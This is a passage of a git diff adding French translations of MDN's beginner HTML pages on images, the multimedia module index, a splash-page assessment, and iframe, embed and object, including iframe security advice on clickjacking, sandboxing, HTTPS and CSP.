Le résultat est probablement plus facile à positionner et contrôler qu'une image HTML. Donc, pourquoi s'ennuyer avec des images HTML ?... Comme il y est fait allusion au-dessus, les images CSS sont là seulement pour la décoration. Si vous voulez ajouter quelque chose d'agréable à votre page pour en enrichir le visuel, c'est étudié pour. Mais, ces images n'ont pas d'indication sémantique. Elles ne peuvent pas avoir d'équivalent texte, sont invisibles aux lecteurs d'écran, etc... C'est le moment, pour l'image HTML, de se mettre en valeur !

+ +

En résumé : si une image a du sens, en terme de contenu, vous devriez utiliser une image HTML. Si une image n'est que pure décoration, il vaut mieux utiliser les images d'arrière-plan CSS.

+ +
+

Note: Vous en apprendrez beaucoup plus sur les  CSS background images dans notre topic  CSS .

+
+ +

C'est tout pour l'instant. Nous avons découvert en détails les images et légendes. Dans le prochain article, nous monterons en régime pour aborder la manière d'utiliser HTML pour intégrer des vidéos et de l'audio dans une page web.

+ +

{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}

+ +

Dans ce module :

+ + diff --git a/files/fr/learn/html/multimedia_and_embedding/index.html b/files/fr/learn/html/multimedia_and_embedding/index.html new file mode 100644 index 0000000000..bcb6a30361 --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/index.html @@ -0,0 +1,71 @@ +--- +title: Multimédia et Intégration +slug: Apprendre/HTML/Multimedia_and_embedding +tags: + - Apprentissage + - Audio + - Codage + - Débutant + - Evaluation + - Flash + - Guide + - HTML + - Image Vectorielle + - Images + - Interactivité + - SVG + - Video + - iframes + - imagemaps +translation_of: Learn/HTML/Multimedia_and_embedding +--- +

{{LearnSidebar}}

+ +

Jusqu'ici, nous avons vu et utilisé beaucoup de texte dans ce cours mais le web serait vraiment ennuyeux s'il n'utilisait que du texte.  Voyons ensemble la manière de le rendre plus vivant avec plus de contenu intéressant ! Ce module explore l'utilisation d'HTML pour inclure du contenu multimedia dans vos pages web. Cela comprend les différentes manières d'ajouter des images, d'intégrer de la video, de l'audio et même des pages web entières. 

+ +

Prérequis

+ +

Pour commencer ce module dans de bonnes conditions, vous devriez posséder les connaissances de base du HTML comme il est recommandé dans l'article : introduction au HTML. Nous vous recommandons de passer du temps sur cette introduction en premier lieu (ou un article équivalent d'initiation au HTML) puis de repasser ici pour continuer.

+ +
+

Note : Si vous travaillez sur une tablette, ordinateur ou autre périphérique où vous n'auriez pas la capacité de créer vos propres fichiers, sachez que vous pouvez tester (la plupart) de vos lignes de code sur des programmes en ligne comme JSBin ou Thimble.

+
+ +

Guides

+ +

Ce module contient les articles suivants, qui vous guideront à travers les fondamentaux de l'intégration multimedia sur une page web.

+ +
+
Images en HTML
+
Il existe d'autres types de multimedia à prendre en compte mais il est logique de commencer par cet élément si humble qu'est  l'élément {{htmlelement("img")}}. Il est utilisé pour integrér une simple image dans une page web. Au long de cet article, nous verrons son utilisation en détails, des rudiments à l'annotation par légendes en utilisant {{HTMLElement("figure")}}, et de quelle manière il est liè  aux images d'arrière-plan de CSS.
+
Vidéo et contenu audio
+
Ensuite, nous étudierons la façon d'utiliser les éléments HTML5 {{HTMLElement("video")}} et {{HTMLElement("audio")}}, pour intégrer les videos et pistes audio dans nos pages. Toujours à partir des rudiments, puis comment fournir un accés aux différents formats des différents navigateurs,  enrichir avec des légendes et des sous-titres, et comment proposer des solutions pour les navigateurs plus anciens.
+
De <object> à <iframe> — autres techniques d'intégration
+
À ce stade, nous aimerions faire un pas de côté, en examinant quelques éléments qui vous permettent d'intégrer une grande variété de types de contenu dans vos pages web : les éléments {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} et {{HTMLElement("object")}}. <iframe> est fait pour intégrer d'autres pages web, les deux autres vous autorisent à faire de même pour les PDFs, SVG, et même Flash — une technologie en voie de disparition, mais que vous pouvez encore voir de façon semi-régulière.
+
Ajouter des images vectorielles sur le Web 
+
Les images vectorielles peuvent être très utiles dans certaines situations. Contrairement aux formats classiques comme le PNG/JPG, elles ne se déforment pas lorsqu'on les agrandit et peuvent rester lisses lorsqu'on les met à l'échelle. Cet article vous présente ce que sont les images vectorielles et comment inclure le populaire format {{glossary("SVG")}} dans les pages web.
+
Images adaptatives
+
+

Dans cet article, nous allons découvrir le concept d'images adaptatives — des images qui fonctionnent bien sur des appareils dont les tailles d'écran, les résolutions et autres caractéristiques sont très différentes — et examiner les outils fournis par HTML pour aider à les mettre en œuvre. Cela permet d'améliorer les performances des différents appareils. Les images adaptatives ne sont qu'une partie du responsive design, un futur sujet CSS que vous pourrez apprendre.

+
+
+ +

Évaluations

+ +

Les évaluations qui suivent sont là pour tester votre compréhension des bases du HTML traitées dans les guides ci-dessus.

+ +
+
Évaluation : page d'accueil Mozilla
+
Cette évaluation concernera vos connaissances de quelques unes des techniques traitées dans les articles de ce module, vous amenant à ajouter des images et vidéos à une page de garde « funky » développant les atouts de Mozilla !
+
+ +

À voir aussi

+ +
+
Intégrer une carte interactive en haut d'une image
+
Une représentation cartographique fournit un mécanisme qui lie différents secteurs d'une image à différents endroits. Pensez à une carte qui fournirait des informations plus approfondies sur chaque pays sur lequel vous cliquez. Cette technique peut parfois être d'une grande utilité.
+
Web Principes fondamentaux 2
+
+

Un excellent cours de Mozilla qui explore et teste les compétences développées dans le module :  Multimedia et intégration. Approfondissez les fondamentaux de la composition de pages web, concevez des outils pour l'accessibilité, le partage de ressources, découvrez l'utilisation de supports en ligne et la mutualisation du travail (ce qui signifie que votre travail est librement disponible et partagé avec d'autres). 

+
+
diff --git a/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html new file mode 100644 index 0000000000..26193c8bac --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html @@ -0,0 +1,110 @@ +--- +title: 'Évaluation : page d''accueil Mozilla' +slug: Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page +translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}
+ +

Dans cette partie, nous testerons vos connaissances des quelques techniques abordées dans les articles de ce module, en vous demandant d'ajouter des images et des vidéos à une super page d'accueil entièrement dédiée à Mozilla !

+ + + + + + + + + + + + +
Prérequis :Avant de vous attaquer à cette étude, vous devriez avoir déjà travaillé sur les paragraphes précédents composant le module Multimedia et Intégration.
Objectif:Tester vos connaissances sur l'intégration d'images et vidéos dans des pages web ainsi que des techniques d'images adaptatives (images "responsive").
+ +

Point de départ

+ +

Pour démarrer cette étude, vous devez aller chercher toutes les images et l'HTML disponibles dans le répertoire mdn-splash-page-start sur github. Mettez le contenu du fichier index.html dans un fichier appelé index.html sur votre disque dur local, dans un nouveau répertoire. Puis copiez pattern.png dans le même dossier (clic droit sur l'image pour le menu des options).

+ +

Allez dans le répertoire originals chercher les différentes images et faites la même chose; vous aurez peut-être à les enregistrer dans un nouveau dossier pour l'instant, au cas où vous auriez besoin d'en manipuler certaines en utilisant un éditeur graphique avant de pouvoir les utiliser.

+ +
+

Note: le fichier HTML en exemple contient un bon nombre de CSS, pour styliser la page. Vous n'avez pas besoin de modifier le CSS, juste l'HTML dans l'élément {{htmlelement("body")}} — tant que vous insérez les bonnes balises, le style sera cohérent.

+
+ +

Énoncé du projet

+ +

Dans cette étude, nous vous présentons une page d'accueil Mozilla quasiment finie, qui a pour but de définir, en des termes agréables et intéressants, les objectifs de Mozilla et de fournir des liens vers des ressources supplémentaires. Malheureusement, aucune image ni vidéo n'a été ajoutée pour l'instant — c'est votre boulot ! Vous devez ajouter des choses qui donnent du sens à la page et la rendent belle. Les sous-sections suivantes détaillent ce que vous aurez besoin de faire :

+ +

Préparer les images

+ +

Avec votre éditeur d'images favori, créez des versions de 400 et 120 px de large de :

+ +
    +
  • firefox_logo-only_RGB.png
    • +
  • firefox-addons.jpg
    • +
  • mozilla-dinosaur-head.png
    • +
+ +

Donnez-leur des noms similaires comme :  firefoxlogo400.png et firefoxlogo120.png.

+ +

Continuons avec mdn.svg, ces images seront vos icônes pour lier aux ressources externes, contenues dans l'espacefurther-info. Vous ferez aussi un lien vers le logo firefox dans l'en-tête du site. Réservez toutes ces copies dans le même dossier que l'index.html.

+ +

Puis, créez une version paysage de 1200px de large de red-panda.jpg, et une version portrait de 600px de large qui montre le panda en gros plan. Encore une fois, nommez-les de manière similaire pour les identifier facilement. Réservez toutes ces copies dans le même dossier que l'index.html.

+ +
+

Note: Vous devriez optimiser vos images JPG et PNG pour les rendre le plus petit possible tout en restant de bonne qualité. tinypng.com est une bonne aide pour faire ça aisément.

+
+ +

Ajouter un logo à l'en-tête

+ +

A l'intèrieur de l'élément {{htmlelement("header")}} , ajoutez un élément {{htmlelement("img")}} qui intégrera une petite version du logo firefox dans l'en-tête.

+ +

Ajouter une vidéo dans le contenu principal de l'article

+ +

Dans l'élément {{htmlelement("article")}}  (juste en-dessous de la balise d'ouverture), intégrez la vidéo YouTube trouvée ici : https://www.youtube.com/watch?v=ojcNcvb1olg, en utilisant les outils YouTube appropriés pour générer le code. La vidéo devra faire 400px de large.

+ +

Ajouter des images adaptatives aux liens vers les ressources externes

+ +

Dans l'élément {{htmlelement("div")}} de la catégorie further-info vous trouverez quatre autres éléments {{htmlelement("a")}} — chacun d'eux liant vers une page intéressante traitant de Mozilla. Pour compléter cette section, vous devrez insérer un élément {{htmlelement("img")}} dans ceux contenant les attributs {{htmlattrxref("src", "img")}}, {{htmlattrxref("alt", "img")}}, {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}} adéquats.

+ +

Dans tous les cas (sauf un — lequel serait naturellement adaptatif ?) nous voulons que le navigateur desserve la version 120px de large quand la largeur du cadre est de 480px ou moins, ou la version 400px de large dans les autres cas.

+ +

Assurez-vous de faire correspondre les bonnes images avec les liens corrects !

+ +
+

Note: Pour tester correctement les exemples srcset/sizes, vous devez charger votre site sur un serveur (utiliser Github pages est une solution simple et gratuite), ensuite vous pouvez tester si tout se déroule correctement en utilisant des outils de développeur, comme expliqué dans Responsive images: useful developer tools.

+
+ +

Un panda rouge créatif

+ +

Dans l'élément {{htmlelement("div")}} de la catégorie red-panda, nous voulons insérer un élément {{htmlelement("picture")}} qui affiche le petit portrait du panda si le cadre est de 600px de large, ou moins, et le paysage dans les autres cas.

+ +

Exemple

+ +

La capture d'écran suivante montre à quoi devrait ressembler la page d'accueil aprés avoir été correctement balisée, avec un affichage large et un étroit.

+ +

A wide shot of our example splash page

+ +

A narrow shot of our example splash page

+ +

Évaluation

+ +

Si vous suivez cette étude en faisant partie d'un programme de cours organisé, vous devriez pouvoir montrer votre travail à votre professeur/mentor pour une correction. Si vous apprenez seul, alors vous pourrez obtenir des informations et des corrections en demandant sur le  fil de discussion concernant cet exercice, ou sur le canal IRC #mdn sur Mozilla IRC. Essayez de faire l'exercice d'abord — On ne gagne rien en trichant !

+ +

{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

+ +

 

+ +

Dans ce module :

+ + + +

 

diff --git a/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html new file mode 100644 index 0000000000..d90d486303 --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -0,0 +1,402 @@ +--- +title: Des objets aux « iframe » — autres techniques d'intégration +slug: Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies +tags: + - Apprentissage + - Article + - Codage + - Débutant + - Flash + - Guide + - HTML + - Integration + - Multimédia et intégration + - Object + - embed + - iframe +translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}
+ +

Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans les pages Web, y compris images, vidéos et audios. Donc, à ce stade, nous aimerions franchir en quelque sorte une étape similaire, en examinant certains éléments qui permettent d'intégrer une grande variété de types de contenu dans des pages Web : les éléments {{htmlelement("iframe")}}, {{htmlelement("embed")}} et {{htmlelement("object")}}. Les  <iframe> servent à intégrer d'autres pages Web, et les deux autres des PDF, SVG et même des Flash — une technique en voie de disparition, mais que vous rencontrerez encore assez régulièrement.

+ + + + + + + + + + + + +
Prérequis :Compétences informatiques de base,  installation des outils de base, bases de la manipulation des fichiers, connaissance des fondamentaux du HTML (comme expliqué dans  Commencer avec le HTML) et articles précédents de ce module.
Objectif :Apprendre comment incorporer des éléments, tels que d'autres pages ou des clips Flash,  dans des pages Web à l'aide de {{htmlelement("object")}}, {{htmlelement("embed")}}, et {{htmlelement("iframe")}}.
+ +

Une courte histoire de l'intégration

+ +

Il y a longtemps, sur le Web, il était courant d'utiliser des cadres pour créer des sites Web - des petites parties de site Web stockées dans des pages HTML individuelles. Ces cadres étaient intégrés dans un document maître appelé frameset (ensemble de cadres) qui permettait de préciser la zone de l'écran que chaque cadre devait occuper, un peu comme le dimensionnement de colonnes et de lignes dans un tableau. Cette technique a été considérée comme le summum de la zénitude du milieu des années 90 jusqu'à leur fin. Il était évident qu'une page Web éclatée en petits morceaux était meilleure pour la vitesse du téléchargement — et tout à fait remarquable avec des connexions réseau si lentes à l'époque. Cette façon de procéder posait cependant de nombreux problèmes, qui l'emportaient de loin sur tout ce qui était positif à mesure que la vitesse du réseau s'accélérait, de sorte que vous ne la verrez plus utilisée.

+ +

 

+ +

Un peu plus tard (fin des années 90, début des années 2000), la technique des greffons est devenue très populaire, citons les applets Java et Flash — ils permettaient aux développeurs web d'intégrer du contenu riche dans des pages web telles que des vidéos et des animations, ce qui n'était tout simplement pas possible avec le HTML. L'intégration de ces techniques a été réalisée grâce à des éléments comme {{htmlelement("object")}} et {{htmlelement("embed")}}, un peu moins utilisé. Ils étaient très utiles à l'époque. Ils sont depuis tombés en désuétude en raison de nombreux problèmes : accessibilité, sécurité, taille de fichier et autres ; de nos jours, la plupart des mobiles ne prennent plus en charge de tels greffons, et les ordinateurs de bureau sont en train de les abandonner.

+ +

Enfin, l'élément {{htmlelement("iframe")}} est apparu (avec d'autres moyens d'intégration de contenu, comme {{htmlelement("canvas")}}, {{htmlelement("video")}}, etc). Cet élément permet d'intégrer un document web entier dans un autre, comme s'il s'agissait d'un élément {{htmlelement("img")}}} ou d'un autre élément de ce type. Il  est régulièrement utilisé aujourd'hui.

+ +

Maintenant que la leçon d'histoire est terminée, passons à autre chose et voyons comment utiliser certains d'entre eux.

+ +

 

+ +

Apprentissage actif : utilisations classiques de l'intégration

+ +

Dans cet article, passons directement à l'apprentissage actif pour vous donner tout de suite une idée concrète de l'utilité des techniques d'intégration. Le monde en ligne connaît très bien Youtube, mais beaucoup de gens ne connaissent pas les facilités de partage dont il dispose. Voyons comment Youtube nous permet d'intégrer une vidéo dans toute page qui nous plairait à l'aide d'un élément {{htmlelement("iframe")}}}.

+ +
    +
  1. D'abord, allez sur Youtube et choisissez une vidéo qui vous plaise.
    2. +
  2. Au‑dessous de la vidéo, vous devez trouver un bouton Share (Partager) — cliquez‑le pour afficher les options de partage.
    3. +
  3. Sélectionnez le bouton Embed (Intégrer) et vous obtiendrez un morceau de code <iframe> — copiez‑le.
    4. +
  4. Inserez ce code dans la boîte Input ci‑dessous, et voyez le résultat dans Output.
    5. +
+ +

En prime, vous pouvez aussi essayer d'intégrer une carte Google Map dans l'exemple.

+ +
    +
  1. Allez sur Google Maps et trouvez une carte qui vous plaise.
    2. +
  2. Cliquez sur le  « Menu Hamburger » (trois lignes horizontales) en haut à gauche de l'interface utilisateur.
    3. +
  3. Selectionnez l'option Share or embed map (Partager ou intégrer une carte).
    4. +
  4. Selectionnez l'option Embed map (intégrer une carte), qui vous fournira du code <iframe> — copiez‑le.
    5. +
  5. Inserez‑le dans la boîte Input di‑dessous et voyez le résultat dans Output.
    6. +
+ +

Si vous faites une erreur, vous pouvez toujours réinitialiser le tout avec le bouton Réinitialiser. Si vous êtes vraiment bloqué, pressez le bouton Afficher la solution pour voir la réponse.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}

+ +

Iframes en détail

+ +

Alors, facile et amusant, non ? Les éléments {{htmlelement("iframe")}} sont conçus pour intégrer d'autres documents Web dans le document en cours de traitement. C'est ce qu'il y a de mieux pour incorporer des contenus tierce‑partie dans un site Web, contenus sur lesquels vous n'aurez peut‑être pas de contrôle direct, mais pour lesquels vous ne voulez pas implémenter votre propre version — comme une vidéo de fournisseurs de vidéo en ligne, un système de commentaires comme Disqus, des cartes de fournisseurs en ligne, des bandeaux publicitaires, etc. Les exemples modifiables en direct utilisés dans ce cours ont été implémentés avec des <iframe>.

+ +

Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considération avec <iframe>, comme nous le verrons plus loin, mais cela ne veut pas dire que vous ne devez pas les utiliser dans vos sites Web — cela demande juste un peu de connaissance et de soin à la conception. Examinons le code un peu plus en détail. Disons que vous voulez intégrer le glossaire MDN dans une de vos pages Web — vous pourriez tenter quelque chose comme :

+ +
<iframe src="https://developer.mozilla.org/en-US/docs/Glossary"
+        width="100%" height="500" frameborder="0"
+        allowfullscreen sandbox>
+  <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary">
+    Lien de repli pour les navigateurs ne prenant pas en charge iframe  </a> </p>
+</iframe>
+ +

Cet exemple inclut les éléments de base essentiels nécessaires à l'utilisation d'un <iframe> :

+ +
+
{{htmlattrxref('allowfullscreen','iframe')}}
+
Si activé, <iframe> pourra être mis en mode plein écran avec Full Screen API (un peu hors‑sujet dans cet article).
+
{{htmlattrxref('frameborder','iframe')}}
+
Si défini à la valeur 1, demande à l'explorateur de tracer une bordure entre cadres, c'est le comportement par défaut. 0 supprime la bordure. L'utilisation d'un tel attribut n'est plus trop recommandée, car le même résultat peut être obtenu en mieux avec {{cssxref('border')}}: none; dans le {{Glossary('CSS')}}.
+
{{htmlattrxref('src','iframe')}}
+
Cet attribut, comme  avec {{htmlelement("video")}} ou {{htmlelement("img")}}, contient un chemin vers l'URL du document à intégrer.
+
{{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}}
+
Ces attributs définissent la largeur et la hauteur souhaitée pour <iframe>.
+
Contenu de repli
+
Comme pour d'autres éléments semblables, tels {{htmlelement("video")}}, vous pouvez préciser un contenu de repli entre les balises ouvrantes et fermantes <iframe></iframe> qui seront affichées si l'explorateur ne prend pas en charge <iframe>. Dans notre cas nous avons mis un lien vers une page. Il est peu vraisemblable que vous rencontriez de nos jours un explorateur qui ne prenne pas en charge <iframe>.
+
{{htmlattrxref('sandbox','iframe')}}
+
Cet attribut n'est fonctionnel que dans des explorateurs un peu plus récents, contrairement aux autres attributs de  <iframe> (par ex. IE 10 et au‑delà). Il requiert des paramètres de sécurité renforcés ; nous vous en disons plus dans le paragraphe suivant.
+
+ +
+

Note : Afin d'améliorer la vitesse, il est pertinent de définir l'attribut src de iframe avec JavaScript après que le chargement du contenu principal est effectué. La page est utilisable plus tôt et le temps de chargement officiel de la page est diminué (une métrique {{glossary("SEO")}} importante).

+
+ +

Problèmes de sécurité

+ +

Nous avons dit plus haut qu'il y avait des problèmes en matière de sécurité — entrons maintenant un peu plus dans le détail. Nous ne nous attendons pas à cette problèmatique vous soit parfaiment claire dès la première lecture ; nous voulons simplement vous y sensibiliser et fournir un point de référence auquel vous pourrez revenir quand vous aurez plus d'expérience et commencerez à prévoir l'utilisation de <iframe> dans vos travaux et expérimentations. Car, il n'y a pas de craintes inutiles à avoir et refuser d'utiliser <iframe> — il faut juste être prudent. Poursuivons ...

+ +

Fabricants de navigateurs et développeurs Web ont appris à la dure que <iframe> constitue sur le Web une cible commune (terme officiel : un vecteur d'attaque) pour des personnes mal intentionnées (souvent appelés hackeurs (pirates), ou plus exactement, crackeurs).  <iframe> est une porte d'entrée pour les attaques de ces personnes quand ils essaient de modifier malicieusement une page Web ou d'amener des utilisateurs à faire quelque chose qu'ils ne voudraient pas faire, comme révéler des informations confidentielles comme noms d'utilisateur et mots de passe. Pour cette raison, les ingénieurs spécialistes et les développeurs de navigateurs ont développé divers mécanismes de sécurité pour rendre <iframe> plus sûr. De meilleures pratiques sont aussi à prendre en compte — nous allons développer certaines d'entre elles ci-dessous.

+ +
+

Le {{interwiki('wikipedia','détournement de clic')}} est un type d'attaque courant par l'intermédiaire de <iframe> : les hackeurs incorporent un <iframe> invisible dans votre document (ou intégrent votre document dans leur propre site malveillant) et s'en servent pour capturer les interactions utilisateur. C'est un moyen courant pour tromper des utilisateurs ou voler leurs données confidentielles.

+
+ +

Un exemple rapide d'abord - essayez de charger l'exemple précédent que nous avons montré ci-dessus dans votre navigateur - vous pouvez le trouver en direct sur Github (voyez le code source aussi). Vous ne verrez rien d'affiché sur la page, et si vous regardez la Console dans les outils de développement du navigateur, vous verrez un message vous disant pourquoi. Dans Firefox, ce message indique Load denied by X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary does not permit framing (Chargement interdit par X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary ne permet pas la mise en cadre) . C'est parce que les développeurs qui ont construit MDN ont inclus un paramètre sur le serveur des pages du site empêchant l'intégration de ces pages sur un autre site avec <iframe> (voir {{anch("Configurer les directives CSP")}}, ci-dessous). Parfaitement sensé — il n'y a aucune raison d'intégrer une page entière de MDN dans d'autres pages, sauf à vouloir les intégrer dans votre site et les prétendre vôtres, ou bien tenter de voler des données par l'intermédiaire d'un détournement de clic, actions qui sont tous les deux des malhonnêtetés. De plus, si tout le monde se mettait à faire cela, toute la bande passante supplémentaire nécessaire commencerait à coûter un paquet d'argent à Mozilla.

+ +

N'intégrer que si nécessaire

+ +

Il est parfois judicieux d'intégrer un contenu tiers — comme une vidéo YouTube ou des cartes — mais vous pouvez vous éviter bien des maux de tête si vous n'intégrez du contenu tierce partie qu'en cas de nécessité. Pour la sécurité sur le Web, voici une bonne règle d'or : "On n'est jamais trop prudent. Si vous l'avez fait, vérifiez quand même. Si quelqu'un d'autre l'a fait, supposez que c'est dangereux jusqu'à preuve du contraire."

+ +

Outre la sécurité, vous devez également prendre en considération les questions de propriété intellectuelle. La plupart des contenus sont protégés par des droits d'auteur, hors ligne et en ligne, même du contenu auquel vous ne vous attendez pas (par exemple, la plupart des images sur Wikimedia Commons). N'affichez jamais de contenu sur votre page Web à moins que vous en soyez propriétaire ou que les propriétaires vous aient donné une autorisation écrite sans équivoque. Les sanctions en cas de violation du droit d'auteur sont sévères. Encore une fois, on n'est jamais trop prudent.

+ +
+

Si le contenu est sous licence, vous devez en respecter les termes. Par exemple, le contenu de MDN est sous licence CC-BY-SA. Cela signifie que vous devez correctement porter à notre crédit toute citation de notre contenu, même si vous y apportez des modifications substantielles.

+
+ +

Utilisez HTTPS

+ +

{{Glossary("HTTPS")}} est la version chiffrée de {{Glossary("HTTP")}}. Vous devriez alimenter vos serveurs Web en utilisant HTTPS chaque fois que c'est possible :

+ +
    +
  1.     HTTPS réduit les risques d'altération du contenu distant lors du transfert,
    2. +
  2.     HTTPS empêche le contenu intégré d'accéder à celui du document parent, et inversement.
    3. +
+ +

L'utilisation de HTTPS nécessite un certificat de sécurité, ce qui peut être coûteux (bien que Let's Encrypt facilite les choses) — si vous ne pouvez pas en obtenir un, vous pouvez charger votre document parent sur le serveur en HTTP. Cependant, en raison de la deuxième fonctionnalité de HTTPS indiquée ci-dessus, et dans ce cas les histoires de coût n'interviennent plus, vous ne devez jamais intégrer du contenu tierce partie avec HTTP (dans le meilleur des cas, le navigateur Web de votre utilisateur lui affichera un avertissement effrayant). Toutes les sociétés sérieuses, rendant leur contenu disponible pour une intégration via un <iframe>, le rendront disponible avec HTTPS — regardez les URLs à l'intérieur de l'attribut src de <iframe> lorsque vous intégrez du contenu Google Maps ou YouTube, par exemple.

+ +
+

Note: Github pages allows content to be served via HTTPS by default, so is useful for hosting content. If you are using different hosting and are not sure, ask your hosting provider about it.

+
+ +

Toujours utiliser l'attribut  sandbox

+ +

Pour minimiser la possibilité que des attaquants commettent des actions néfastes  sur votre site Web, vous deviez donner au contenu intégré uniquement les permissions nécessaires pour qu'il  fasse son travail. Bien sûr, cela est aussi valable pour votre propre contenu. Le conteneur de code, dans lequel il peut être utilisé de manière appropriée — ou pour des tests — sans pouvoir causer aucun dommage (accidentel ou malveillant) au reste de la base du code s'appelle un sandbox (bac à sable).

+ +

Un contenu en dehors du « bac à sable » peut faire beaucoup trop de choses (exécuter du JavaScript, soumettre des formulaires, des fenêtres « popup », etc.). Par défaut, vous devez imposer toute restriction disponible avec un attribut sandbox sans paramètres, comme montré dans notre exemple précédent.

+ +

Si c'est absolument nécessaire, vous pouvez ajouter des permissions une à une (en tant que valeur de l'attribut sandbox="") — voir l'entrée de référence {{htmlattrxref('sandbox','iframe')}} pour toutes les options disponibles. Il est important de noter que vous ne devez jamais mettre à la fois les valeurs allow-scripts et allow-same-origin aux attributs de la « sandbox » — dans ce cas,, le contenu intégré pourrait contourner la politique de sécurité originelle qui empêche les sites d'exécuter des scripts et donc utiliser JavaScript pour désactiver complètement le « bac à sable ».

+ +
+

Note : Mettre le code dans le « bac à sable » n'offre aucune protection si les attaquants peuvent tromper les gens pour qu'ils visitent directement du contenu malveillant (en dehors d'un <iframe>). S'il y a la moindre chance que certain contenu soit malveillant (par exemple, du contenu d'utilisateur inconnu), veuillez le servir vers votre site principal à partir d'un autre {{glossary("domaine")}}.

+
+ +

Configurer  les directives CSP

+ +

{{Glossary("CSP")}} est un acronyme pour « content security policy » (politique de sécurité du contenu) ; les directives CSP fournissent un ensemble d'en‑têtes HTTP (métadonnées adressées en même temps que les pages Web quand elles sont diffusées à partir d'un serveur web) conçues pour améliorer la sécurité des documents HTML. Quand elles sont destinées à sécuriser les <iframe>, vous pouvez configurer votre serveur pour qu'il adresse une en‑tête appropriée X-Frame-Options. Elle empêchera d'autres sites Web d'intégrer votre contenu dans leurs pages (ce qui pourrait permettre le {{interwiki('wikipedia','détournement de clic')}} ou accueillir d'autres attaques) ; c'est exactement ce que les développeurs de MDN ont fait, comme nous l'avons vu plus haut.

+ +
+

Note : Lisez le post de Frederik Braun sur On the X-Frame-Options Security Header pour plus d'informations sur le fond de ce sujet. Manifestement, une explication complète est hors des limites de cet article.

+
+ +

Les éléments <embed> et <object>

+ +

Les éléments {{htmlelement("embed")}} et {{htmlelement("object")}} ont une fonction différente de {{htmlelement("iframe")}}} — ces éléments sont des outils d'intégration à caractère général pour importer plusieurs types de contenu externe ; cela comprend des technologies de greffons comme Java Applets ou Flash, PDF (affichable dans le navigateur avec un greffon PDF) et même du contenu comme des vidéos, du SVG ou des images !

+ +
+

Note : Un greffon est un logiciel qui permet d'avoir accès à des contenus que le navigateur n'est pas capable de lire de manière native.

+
+ +

Cependant, il est peu probable que vous utilisiez beaucoup ces éléments — les applets ne sont plus utilisés depuis des années, Flash n'est plus très apprécié pour un certain nombre de raisons (voir {{anch("Le cas « greffons »")}}}, ci-dessous), les PDF ont tendance à être plutôt liés qu'intégrés, et les autres contenus tels que les images et la vidéo disposent d'éléments d'intégration beaucoup plus faciles à manipuler. Les greffons et ces méthodes d'intégration sont assurément une technique traditionnelle héritée : nous les mentionnons principalement au cas où vous les rencontreriez dans certaines circonstances, comme des intranets ou des projets d'entreprise.

+ +

Si vous avez besoin d'intégrer du contenu de greffon, vous aurez besoin de ce minimum d'information :

+ +

 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 {{htmlelement("embed")}}{{htmlelement("object")}}
{{glossary("URL")}} du contenu à intégrer{{htmlattrxref('src','embed')}}{{htmlattrxref('data','object')}}
{{glossary("type MIME", 'type de media')}} précis du contenu intégré{{htmlattrxref('type','embed')}}{{htmlattrxref('type','object')}}
hauteur et largeur (en pixels CSS) de la boîte contrôlée par le greffon{{htmlattrxref('height','embed')}}
+ {{htmlattrxref('width','embed')}}		{{htmlattrxref('height','object')}}
+ {{htmlattrxref('width','object')}}
noms et valeurs à passer en paramètre au greffonattributs adéquats avec ces noms et valeurséléments de la simple balise {{htmlelement("param")}}, contenus dans <object>
contenu HTML indépendant en repli en cas de ressources inaccessiblesnon pris en charge (<noembed> a été abandonné)contenu dans <object>, après les éléments <param>
+ +

 

+ +
+

Note : <object> requiert un attribut data, un attribut type, ou les deux. Si vous utilisez les deux, vous devez aussi utiliser l'attribut {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox, au moment de la rédaction du présent document). typemustmatch empêche le fichier incorporé d'être exécuté avant que l'attribut type indique le type exact de média. typemustmatch  peut donc conférer d'importants avantages sur le plan de la sécurité quand vous intégrez du contenu de diverses {{glossary("origin","origines")}} (il peut empêcher un attaquant d'exécuter n'importe quel script par l'intermédiaire du greffon).

+
+ +

Voici un exemple utilisant l'élément {{htmlelement("embed")}} pour intégrer un film Flash (voyez ceci en direct sur Github ainsi que le code source également):

+ +
<embed src="whoosh.swf" quality="medium"
+       bgcolor="#ffffff" width="550" height="400"
+       name="whoosh" align="middle" allowScriptAccess="sameDomain"
+       allowFullScreen="false" type="application/x-shockwave-flash"
+       pluginspage="http://www.macromedia.com/go/getflashplayer">
+ +

